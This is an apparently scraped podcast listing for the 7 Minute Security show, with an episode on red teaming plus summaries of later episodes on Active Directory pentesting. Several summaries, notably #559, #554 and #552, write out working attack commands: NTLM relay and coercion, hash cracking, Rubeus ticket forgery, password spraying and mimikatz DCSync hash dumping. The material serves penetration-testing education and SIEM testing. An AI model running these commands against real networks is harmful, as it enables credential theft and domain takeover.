7MS #365: Interview with Ryan Manship and Dave Dobrotka - Part 3

7MS #365: Interview with Ryan Manship and Dave Dobrotka - Part 3

This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8.

First, a bit of miscellany:

  • If you replace "red rain" with "red team" in this song, we might just have a red team anthem on our hands!

  • If you're in the Twin Cities area and looking for an infosec analyst job, check out this posting with UBB. If interested, I can help make an electronic introduction - and/or let 'em know 7 Minute Security sent ya!

Ok, in today's program we're talking about red teaming again with our third awesome installment with Ryan and Dave who are professional red teamers! Today we cover:

  • Recon - it's super important! It's like putting together puzzle pieces...and the more of that puzzle you can figure out, less likely you'll be surprised and the more likely you'll succeed at your objective!

  • Reporting - how do you deliver reports in a way that blue team doesn't feel picked on, management understands the risk, and ultimately everybody leaves feeling charged to secure all the things?

I also asked the questions folks submitted to me via LinkedIn/Slack:

  • Any tips for the most dreaded part of an assessment (reports)?

  • How do you get around PowerShell v5 with restrict language mode without having the ability to downgrade to v2?

  • What's an alternative to PowerShell tooling for internal pentesting? (hint: C# is the hotness)

  • What certs/skills should I pursue to get better at red teaming (outside of "Hey, go build a lab!").

  • Are customers happy to get assessed by a red team exercise, or do they do it begrudgingly because of requirements/regulations?

Episoder(687)

7MS: #559: Tales of Pentest Pwnage - Part 46

7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

10 Feb 202322min

7MS #558: How to Build a Vulnerable Pentest Lab - Part 2

7MS #558: How to Build a Vulnerable Pentest Lab - Part 2

Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going: Use Youzer to import a bunch of bogus users into your Active Directory: sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv Make a Kerberoastable user: New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba

7 Feb 202322min

7MS #557: Better Passive Network Visibility Using Teleseer

7MS #557: Better Passive Network Visibility Using Teleseer

Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!

27 Jan 20237min

7MS #556: How to Build a Vulnerable Pentest Lab

7MS #556: How to Build a Vulnerable Pentest Lab

Today's episode is brought to us by our friends at Blumira! Today we kick off a series all about building your own vulnerable pentest lab from scratch, specifically: Spinning up a domain controller with a few lines of PowerShell Installing Active Directory Domain Services Setting up an intentionally cruddy password policy Baking in the MS14-025 vulnerability P.S. if you're looking for a more automated/push-button solution to get up and going with a lab to play in, check out some of these options: https://github.com/Orange-Cyberdefense/GOAD https://automatedlab.org/en/latest/ https://github.com/microsoft/MSLab https://github.com/davidprowe/BadBlood https://github.com/cliffe/secgen https://github.com/WazeHell/vulnerable-AD

20 Jan 20237min

7MS #555: Light Pentest eBook 1.1 Release

7MS #555: Light Pentest eBook 1.1 Release

Today we're releasing version 1.1 of our Light Pentest eBook. Changes discussed in today's episode (and shown live in the accompanying YouTube video) include: Some typos and bug fixes A new section on finding systems with unconstrained delegation and exploiting them A new section on finding easily pwnable passwords via password spraying A new section relaying credentials with MITM6 (be careful using some of its options - read this New ways (and some words of warning) to dump hashes from Active Directory

13 Jan 20237min

7MS #554: Simple Ways to Test Your SIEM

7MS #554: Simple Ways to Test Your SIEM

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered: Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports! Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

6 Jan 202359min

7MS #553: The Artificial Intelligence Throat Burn Episode

7MS #553: The Artificial Intelligence Throat Burn Episode

Hey friends, today's episode is hosted by an AI from Murf.ai because I suffered a throat injury over the holidays and spent Christmas morning in the emergency room! TLDL: I'm fine, but if you want the (sort of) gory details and an update on my condition after my ENT appointment, check out today's episode. Otherwise, we'll see you next week when our regularly scheduled security content continues in 2023. Merry belated Christmas, happy holidays and happiest of new year to you and yours!

30 Des 20225min

7MS #552: Tales of Pentest Pwnage - Part 45

7MS #552: Tales of Pentest Pwnage - Part 45

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Today's tale of pentest pwnage covers some of the following attacks/tools: Teleseer for packet capture visualizations on steroids! Copernic Desktop Search Running Responder as Responder.py -I eth0 -A will analyze traffic but not poison it I like to run mitm6 in one window with mitm6.py -i eth0 -d mydomain.com --no-ra --ignore-nofqdn and then in another window I do ntlmrelayx.py -6 -wh doesntexist -t ldaps://ip.of.the.dc -smb2support --delegate-access > relaysRphun.log - that way I always have a log of everything happening during the mitm6 attack Vast.ai looks to be a cost-effective way to crack hashes in the cloud (haven't tested it myself yet)

24 Des 202257min

Populært innen Politikk og nyheter

giver-og-gjengen-vg
aftenpodden
aftenpodden-usa
forklart
stopp-verden
popradet
fotballpodden-2
nokon-ma-ga
dine-penger-pengeradet
bt-dokumentar-2
det-store-bildet
unitedno
aftenbla-bla
hva-star-du-for
rss-penger-polser-og-politikk
rss-ness
e24-podden
rss-borsmorgen-okonominyhetene
rss-dannet-uten-piano
oppdatert